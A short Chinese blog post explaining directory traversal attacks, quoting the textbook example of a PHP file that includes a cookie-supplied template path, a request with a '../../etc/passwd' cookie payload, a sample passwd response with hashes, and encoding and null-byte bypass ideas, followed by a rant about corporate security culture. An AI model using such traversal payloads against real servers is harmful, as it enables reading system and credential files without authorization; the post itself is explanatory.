渗透人员可通过目录遍历攻击获取服务器的配置文件等等资料。一般的说,它调用服务器的标准API、使用的是文件的标准权限。所以它攻击的不是什么漏洞,而是网站设计人员的思想“缺陷”。

目录遍历

常见的目录遍历攻击,访问“../”这类的上级文件夹的文件。“../”和转译攻击在2000年前后就存在了,只是那时候的攻击直接在URL里放字符串就ok了。今天的目录遍历攻击进化了很多。

那么请允许我犯懒,摘取Wiki的几个例子:

<?php
$template = 'red.php';
if (isset($_COOKIE['TEMPLATE']))
   $template = $_COOKIE['TEMPLATE'];
include ("/home/users/phpguru/templates/" . $template);
?>

那么一般来说就可以在Cookie做手脚(当然这是数次测试之后才能推测的path):

GET /vulnerable.php HTTP/1.0
Cookie: TEMPLATE=../../../../../../../../../etc/passwd

然后服务器乖乖的给了回答:

HTTP/1.0 200 OK
Content-Type: text/html
Server: Apache

root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh 
daemon:*:1:1::/tmp: 
phpguru:f8fk3j1OIf31.:182:100:Developer:/home/users/phpguru/:/bin/csh

是否可以继续利用转译呢,%2e%2e%2f --> "../"

<?php
include($_GET['file'] . '.html');
... ...
?>

这种保护是否可以加个NULL+转译什么的跳过去?

如果httpd是Apache这类指定Document root的程序,那么match之后再加 ../ 可能发生什么?

是否可以直接执行命令?

我不知道耶!

OWASP有一个cheatsheet。可以看看。

近日看见友人谈到什么执照的民间反映时重提时这个东西,说好像SP有什么自己的IT Security Auditing,还号召各位自律、不要对什么过分行为作出过分的反映,以暴制暴世所不容……这个时候,我恰巧买了个电视盒子,而且网关是我自建的……你明白什么了?我可什么没说耶!

某些人会说,不需要保证业务稳定运行、不担心机密外泄、不怕出丑而损失企业无形资产、只顾忌所谓上级资源(能骗钱就行了)、不需要保护用户资料、不怕微博转发500次、有水军帮忙给好评、有关系给删帖……

……IT安全真不是啥事,不就是某些人用来向上级骗钱的么?钱到手怎么做真是无所谓的。 

相比之下,安全不是问题,人是更严重的问题啊!


via idf.cn


weakish
24.6k 声望844 粉丝

a vigorously lazy deadbeat with matured immaturity